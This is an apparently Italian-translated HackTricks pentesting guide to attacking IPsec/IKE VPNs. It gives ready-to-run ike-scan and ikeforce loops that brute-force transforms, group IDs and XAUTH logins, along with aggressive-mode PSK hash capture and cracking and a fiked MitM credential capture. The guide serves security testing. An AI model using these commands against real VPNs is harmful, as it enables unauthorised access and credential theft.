hacktricks/network-services-pentesting/ipsec-ike-vpn-pentesting.md

# 500/udp - Pentesting IPsec/IKE VPN

{% hint style="success" %}
Learn & practice AWS Hacking:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Learn & practice GCP Hacking: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Support HackTricks</summary>

* Check the [**subscription plans**](https://github.com/sponsors/carlospolop)!
* **Join the** 💬 [**Discord group**](https://discord.gg/hRep4RUj7f) or the [**telegram group**](https://t.me/peass) or **follow** us on **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Share hacking tricks by submitting PRs to the** [**HackTricks**](https://github.com/carlospolop/hacktricks) and [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.

</details>
{% endhint %}
{% endhint %}

**Try Hard Security Group**

<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>

{% embed url="https://discord.gg/tryhardsecurity" %}

***

## Informazioni di base

**IPsec** è ampiamente riconosciuto come la principale tecnologia per la sicurezza delle comunicazioni tra reti (LAN-to-LAN) e da utenti remoti al gateway di rete (accesso remoto), fungendo da spina dorsale per le soluzioni VPN aziendali.

L'istituzione di una **security association (SA)** tra due punti è gestita da **IKE**, che opera sotto l'egida di ISAKMP, un protocollo progettato per l'autenticazione e lo scambio di chiavi. Questo processo si svolge in diverse fasi:

* **Fase 1:** Viene creato un canale sicuro tra due endpoint. Questo viene realizzato attraverso l'uso di una Pre-Shared Key (PSK) o certificati, impiegando sia la modalità principale, che prevede tre coppie di messaggi, sia la **modalità aggressiva**.
* **Fase 1.5:** Sebbene non sia obbligatoria, questa fase, nota come Fase di Autenticazione Estesa, verifica l'identità dell'utente che tenta di connettersi richiedendo un nome utente e una password.
* **Fase 2:** Questa fase è dedicata alla negoziazione dei parametri per la sicurezza dei dati con **ESP** e **AH**. Consente l'uso di algoritmi diversi da quelli della Fase 1 per garantire la **Perfect Forward Secrecy (PFS)**, migliorando la sicurezza.

**Porta predefinita:** 500/udp

## **Scopri** il servizio utilizzando nmap
```
root@bt:~# nmap -sU -p 500 172.16.21.200
Starting Nmap 5.51 (http://nmap.org) at 2011-11-26 10:56 IST
Nmap scan report for 172.16.21.200
Host is up (0.00036s latency).
PORT    STATE SERVICE
500/udp open  isakmp
MAC Address: 00:1B:D5:54:4D:E4 (Cisco Systems)
```
## **Trovare una trasformazione valida**

La configurazione IPSec può essere preparata per accettare solo una o poche trasformazioni. Una trasformazione è una combinazione di valori. **Ogni trasformazione** contiene un numero di attributi come DES o 3DES come **algoritmo di crittografia**, SHA o MD5 come **algoritmo di integrità**, una chiave pre-condivisa come **tipo di autenticazione**, Diffie-Hellman 1 o 2 come **algoritmo di distribuzione della chiave** e 28800 secondi come **durata**.

Quindi, la prima cosa che devi fare è **trovare una trasformazione valida**, affinché il server possa comunicare con te. A tal fine, puoi utilizzare lo strumento **ike-scan**. Per impostazione predefinita, Ike-scan funziona in modalità principale e invia un pacchetto al gateway con un'intestazione ISAKMP e una singola proposta con **otto trasformazioni al suo interno**.

A seconda della risposta, puoi ottenere alcune informazioni sul punto finale:
```
root@bt:~# ike-scan -M 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=d90bf054d6b76401)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

Ending ike-scan 1.9: 1 hosts scanned in 0.015 seconds (65.58 hosts/sec). 1 returned handshake; 0 returned notify
```
Come puoi vedere nella risposta precedente, c'è un campo chiamato **AUTH** con il valore **PSK**. Questo significa che il vpn è configurato utilizzando una chiave precondivisa (e questo è davvero buono per un pentester).\
**Il valore dell'ultima riga è anche molto importante:**

* _0 restituito handshake; 0 restituito notify:_ Questo significa che il target è **non un gateway IPsec**.
* _**1 restituito handshake; 0 restituito notify:**_ Questo significa che il **target è configurato per IPsec ed è disposto a eseguire la negoziazione IKE, e uno o più dei trasformazioni che hai proposto sono accettabili** (una trasformazione valida sarà mostrata nell'output).
* _0 restituito handshake; 1 restituito notify:_ I gateway VPN rispondono con un messaggio notify quando **nessuna delle trasformazioni è accettabile** (anche se alcuni gateway non lo fanno, nel qual caso dovrebbe essere tentata un'analisi ulteriore e una proposta rivista).

Poi, in questo caso abbiamo già una trasformazione valida, ma se sei nel 3° caso, allora devi **forzare un po' per trovare una trasformazione valida:**

Prima di tutto devi creare tutte le possibili trasformazioni:
```bash
for ENC in 1 2 3 4 5 6 7/128 7/192 7/256 8; do for HASH in 1 2 3 4 5 6; do for AUTH in 1 2 3 4 5 6 7 8 64221 64222 64223 64224 65001 65002 65003 65004 65005 65006 65007 65008 65009 65010; do for GROUP in 1 2 3 4 5 6 7 8 9 10 11 12 13 14 15 16 17 18; do echo "--trans=$ENC,$HASH,$AUTH,$GROUP" >> ike-dict.txt ;done ;done ;done ;done
```
E poi eseguire un attacco di forza bruta su ciascuno utilizzando ike-scan (questo può richiedere diversi minuti):
```bash
while read line; do (echo "Valid trans found: $line" && sudo ike-scan -M $line <IP>) | grep -B14 "1 returned handshake" | grep "Valid trans found" ; done < ike-dict.txt
```
Se il brute-force non ha funzionato, forse il server sta rispondendo senza handshake anche a trasformazioni valide. Allora, potresti provare lo stesso brute-force ma utilizzando la modalità aggressiva:
```bash
while read line; do (echo "Valid trans found: $line" && ike-scan -M --aggressive -P handshake.txt $line <IP>) | grep -B7 "SA=" | grep "Valid trans found" ; done < ike-dict.txt
```
Speriamo che **una trasformazione valida venga restituita**.\
Puoi provare **lo stesso attacco** usando [**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py).\
Potresti anche provare a forzare le trasformazioni con [**ikeforce**](https://github.com/SpiderLabs/ikeforce):
```bash
./ikeforce.py <IP> # No parameters are required for scan -h for additional help
```
![](<../.gitbook/assets/image (617).png>)

In **DH Group: 14 = 2048-bit MODP** e **15 = 3072-bit**\
**2 = HMAC-SHA = SHA1 (in questo caso). Il formato `--trans` è $Enc,$Hash,$Auth,$DH**

Cisco indica di evitare l'uso dei gruppi DH 1 e 2 perché non sono abbastanza forti. Gli esperti credono che **i paesi con molte risorse possano facilmente rompere la crittografia** dei dati che utilizzano questi gruppi deboli. Questo viene fatto utilizzando un metodo speciale che li prepara a decifrare i codici rapidamente. Anche se costa molto denaro impostare questo metodo, consente a questi paesi potenti di leggere i dati crittografati in tempo reale se utilizza un gruppo che non è forte (come 1.024-bit o più piccolo).

### Server fingerprinting

Poi, puoi usare ike-scan per cercare di **scoprire il fornitore** del dispositivo. Lo strumento invia una proposta iniziale e smette di riprodurre. Poi, **analizzerà** la **differenza** di **tempo** **tra** i **messaggi** ricevuti dal server e il modello di risposta corrispondente, il pentester può identificare con successo il fornitore del gateway VPN. Inoltre, alcuni server VPN utilizzeranno il **payload opzionale Vendor ID (VID)** con IKE.

**Specifica la trasformazione valida se necessario** (utilizzando --trans)

Se IKE scopre quale è il fornitore, lo stamperà:
```
root@bt:~# ike-scan -M --showbackoff 172.16.21.200
Starting ike-scan 1.9 with 1 hosts (http://www.nta-monitor.com/tools/ike-scan/)
172.16.21.200    Main Mode Handshake returned
HDR=(CKY-R=4f3ec84731e2214a)
SA=(Enc=3DES Hash=SHA1 Group=2:modp1024 Auth=PSK LifeType=Seconds LifeDuration=28800)
VID=4048b7d56ebce88525e7de7f00d6c2d3c0000000 (IKE Fragmentation)

IKE Backoff Patterns:

IP Address       No.  Recv time            Delta Time
172.16.21.200    1    1322286031.744904    0.000000
172.16.21.200    2    1322286039.745081    8.000177
172.16.21.200    3    1322286047.745989    8.000908
172.16.21.200    4    1322286055.746972    8.000983
172.16.21.200    Implementation guess: Cisco VPN Concentrator

Ending ike-scan 1.9: 1 hosts scanned in 84.080 seconds (0.01 hosts/sec). 1 returned handshake; 0 returned notify
```
Questo può essere ottenuto anche con lo script nmap _**ike-version**_

## Trovare l'ID corretto (nome del gruppo)

Per essere autorizzati a catturare l'hash, è necessario un'adeguata trasformazione che supporti la modalità Aggressiva e l'ID corretto (nome del gruppo). Probabilmente non conoscerai il nome del gruppo valido, quindi dovrai forzarlo.\
Per farlo, ti consiglio 2 metodi:

### Forzare l'ID con ike-scan

Prima di tutto, prova a fare una richiesta con un ID falso cercando di raccogliere l'hash ("-P"):
```bash
ike-scan -P -M -A -n fakeID <IP>
```
Se **non viene restituito alcun hash**, allora probabilmente questo metodo di brute forcing funzionerà. **Se viene restituito un hash, questo significa che un hash falso verrà inviato per un ID falso, quindi questo metodo non sarà affidabile** per forzare l'ID. Ad esempio, potrebbe essere restituito un hash falso (questo accade nelle versioni moderne):

![](<../.gitbook/assets/image (917).png>)

Ma se, come ho detto, non viene restituito alcun hash, allora dovresti provare a forzare i nomi di gruppo comuni utilizzando ike-scan.

Questo script **cercherà di forzare gli ID possibili** e restituirà gli ID dove viene restituita una handshake valida (questo sarà un nome di gruppo valido).

Se hai scoperto una trasformazione specifica, aggiungila nel comando ike-scan. E se hai scoperto diverse trasformazioni, sentiti libero di aggiungere un nuovo ciclo per provarle tutte (dovresti provarle tutte finché una di esse non funziona correttamente).

Puoi usare il [dizionario di ikeforce](https://github.com/SpiderLabs/ikeforce/blob/master/wordlists/groupnames.dic) o [quello in seclists](https://github.com/danielmiessler/SecLists/blob/master/Miscellaneous/ike-groupid.txt) di nomi di gruppo comuni per forzarli:
```bash
while read line; do (echo "Found ID: $line" && sudo ike-scan -M -A -n $line <IP>) | grep -B14 "1 returned handshake" | grep "Found ID:"; done < /usr/share/wordlists/external/SecLists/Miscellaneous/ike-groupid.txt
```
Or use this dict (è una combinazione degli altri 2 dizionari senza ripetizioni):

{% file src="../.gitbook/assets/vpnIDs.txt" %}

### Bruteforcing ID con Iker

[**iker.py**](https://github.com/isaudits/scripts/blob/master/iker.py) utilizza anche **ike-scan** per bruteforcare possibili nomi di gruppo. Segue il proprio metodo per **trovare un ID valido basato sull'output di ike-scan**.

### Bruteforcing ID con ikeforce

[**ikeforce.py**](https://github.com/SpiderLabs/ikeforce) è uno strumento che può essere utilizzato per **bruteforcare anche gli ID**. Questo strumento **cercerà di sfruttare diverse vulnerabilità** che potrebbero essere utilizzate per **distinguere tra un ID valido e uno non valido** (potrebbero esserci falsi positivi e falsi negativi, ecco perché preferisco usare il metodo ike-scan se possibile).

Per impostazione predefinita, **ikeforce** invierà all'inizio alcuni ID casuali per controllare il comportamento del server e determinare la tattica da utilizzare.

* Il **primo metodo** è bruteforcare i nomi dei gruppi cercando le informazioni **Dead Peer Detection DPD** dei sistemi Cisco (queste informazioni vengono riprodotte dal server solo se il nome del gruppo è corretto).
* Il **secondo metodo** disponibile è **controllare il numero di risposte inviate a ciascun tentativo** perché a volte vengono inviati più pacchetti quando viene utilizzato l'ID corretto.
* Il **terzo metodo** consiste nel **cercare "INVALID-ID-INFORMATION" in risposta a un ID errato**.
* Infine, se il server non risponde a nessuno dei controlli, **ikeforce** cercherà di bruteforcare il server e controllare se quando viene inviato l'ID corretto il server risponde con qualche pacchetto.\
Ovviamente, l'obiettivo di bruteforcare l'ID è ottenere il **PSK** quando si ha un ID valido. Poi, con l'**ID** e il **PSK** dovrai bruteforcare l'XAUTH (se è abilitato).

Se hai scoperto una trasformazione specifica, aggiungila nel comando ikeforce. E se hai scoperto diverse trasformazioni, sentiti libero di aggiungere un nuovo ciclo per provarle tutte (dovresti provarle tutte finché una di esse non funziona correttamente).
```bash
git clone https://github.com/SpiderLabs/ikeforce.git
pip install 'pyopenssl==17.2.0' #It is old and need this version of the library
```

```bash
./ikeforce.py <IP> -e -w ./wordlists/groupnames.dic
```
### Sniffing ID

(Dal libro **Network Security Assessment: Know Your Network**): È anche possibile ottenere nomi utente validi sniffando la connessione tra il client VPN e il server, poiché il primo pacchetto in modalità aggressiva contenente l'ID del client viene inviato in chiaro.

![](<../.gitbook/assets/image (891).png>)

## Capturing & cracking the hash

Infine, se hai trovato una **trasformazione valida** e il **nome del gruppo** e se la **modalità aggressiva è consentita**, allora puoi facilmente acquisire l'hash crackabile:
```bash
ike-scan -M -A -n <ID> --pskcrack=hash.txt <IP> #If aggressive mode is supported and you know the id, you can get the hash of the passwor
```
L'hash sarà salvato all'interno di _hash.txt_.

Puoi usare **psk-crack**, **john** (utilizzando [**ikescan2john.py**](https://github.com/truongkma/ctf-tools/blob/master/John/run/ikescan2john.py)) e **hashcat** per **crackare** l'hash:
```bash
psk-crack -d <Wordlist_path> psk.txt
```
## **XAuth**

**La modalità aggressiva IKE** combinata con una **chiave pre-condivisa (PSK)** è comunemente impiegata per scopi di **autenticazione di gruppo**. Questo metodo è potenziato da **XAuth (Autenticazione Estesa)**, che serve a introdurre un ulteriore livello di **autenticazione dell'utente**. Tale autenticazione sfrutta tipicamente servizi come **Microsoft Active Directory**, **RADIUS** o sistemi comparabili.

Passando a **IKEv2**, si osserva un cambiamento notevole in cui **EAP (Protocollo di Autenticazione Estensibile)** è utilizzato al posto di **XAuth** per l'autenticazione degli utenti. Questo cambiamento sottolinea un'evoluzione nelle pratiche di autenticazione all'interno dei protocolli di comunicazione sicura.

### MitM di rete locale per catturare le credenziali

Quindi puoi catturare i dati di accesso utilizzando _fiked_ e vedere se c'è qualche nome utente predefinito (Devi reindirizzare il traffico IKE a `fiked` per sniffare, il che può essere fatto con l'aiuto di ARP spoofing, [maggiori informazioni](https://opensourceforu.com/2012/01/ipsec-vpn-penetration-testing-backtrack-tools/)). Fiked agirà come un endpoint VPN e catturerà le credenziali XAuth:
```bash
fiked -g <IP> -k testgroup:secretkey -l output.txt -d
```
Also, usando IPSec prova a fare un attacco MitM e blocca tutto il traffico sulla porta 500, se il tunnel IPSec non può essere stabilito forse il traffico verrà inviato in chiaro.

### Brute-forcing XAUTH username e password con ikeforce

Per forzare la **XAUTH** (quando conosci un nome di gruppo valido **id** e il **psk**) puoi usare un nome utente o un elenco di nomi utente e un elenco di password:
```bash
./ikeforce.py <IP> -b -i <group_id> -u <username> -k <PSK> -w <passwords.txt> [-s 1]
```
In questo modo, ikeforce cercherà di connettersi utilizzando ogni combinazione di username:password.

Se hai trovato una o più trasformazioni valide, usale come nei passaggi precedenti.

## Autenticazione con un VPN IPSEC

In Kali, **VPNC** viene utilizzato per stabilire tunnel IPsec. I **profili** devono trovarsi nella directory `/etc/vpnc/`. Puoi avviare questi profili utilizzando il comando _**vpnc**_.

I seguenti comandi e configurazioni illustrano il processo di configurazione di una connessione VPN con VPNC:
```bash
root@system:~# cat > /etc/vpnc/samplevpn.conf << STOP
IPSec gateway [VPN_GATEWAY_IP]
IPSec ID [VPN_CONNECTION_ID]
IPSec secret [VPN_GROUP_SECRET]
IKE Authmode psk
Xauth username [VPN_USERNAME]
Xauth password [VPN_PASSWORD]
STOP
root@system:~# vpnc samplevpn
VPNC started in background (pid: [PID])...
root@system:~# ifconfig tun0
```
In questa configurazione:

* Sostituisci `[VPN_GATEWAY_IP]` con l'indirizzo IP effettivo del gateway VPN.
* Sostituisci `[VPN_CONNECTION_ID]` con l'identificatore per la connessione VPN.
* Sostituisci `[VPN_GROUP_SECRET]` con il segreto di gruppo della VPN.
* Sostituisci `[VPN_USERNAME]` e `[VPN_PASSWORD]` con le credenziali di autenticazione della VPN.
* `[PID]` simboleggia l'ID del processo che verrà assegnato quando `vpnc` viene avviato.

Assicurati di utilizzare valori reali e sicuri per sostituire i segnaposto durante la configurazione della VPN.

## Materiale di Riferimento

* [PSK cracking paper](http://www.ernw.de/download/pskattack.pdf)
* [SecurityFocus Infocus](http://www.securityfocus.com/infocus/1821)
* [Scanning a VPN Implementation](http://www.radarhack.com/dir/papers/Scanning\_ike\_with\_ikescan.pdf)
* Network Security Assessment 3rd Edition

## Shodan

* `port:500 IKE`

**Try Hard Security Group**

<figure><img src="../.gitbook/assets/telegram-cloud-document-1-5159108904864449420.jpg" alt=""><figcaption></figcaption></figure>

{% embed url="https://discord.gg/tryhardsecurity" %}
{% hint style="success" %}
Impara e pratica il hacking AWS:<img src="/.gitbook/assets/arte.png" alt="" data-size="line">[**HackTricks Training AWS Red Team Expert (ARTE)**](https://training.hacktricks.xyz/courses/arte)<img src="/.gitbook/assets/arte.png" alt="" data-size="line">\
Impara e pratica il hacking GCP: <img src="/.gitbook/assets/grte.png" alt="" data-size="line">[**HackTricks Training GCP Red Team Expert (GRTE)**<img src="/.gitbook/assets/grte.png" alt="" data-size="line">](https://training.hacktricks.xyz/courses/grte)

<details>

<summary>Supporta HackTricks</summary>

* Controlla i [**piani di abbonamento**](https://github.com/sponsors/carlospolop)!
* **Unisciti al** 💬 [**gruppo Discord**](https://discord.gg/hRep4RUj7f) o al [**gruppo telegram**](https://t.me/peass) o **seguici** su **Twitter** 🐦 [**@hacktricks\_live**](https://twitter.com/hacktricks\_live)**.**
* **Condividi trucchi di hacking inviando PR ai** [**HackTricks**](https://github.com/carlospolop/hacktricks) e [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos su github.

</details>
{% endhint %}
</details>
{% endhint %}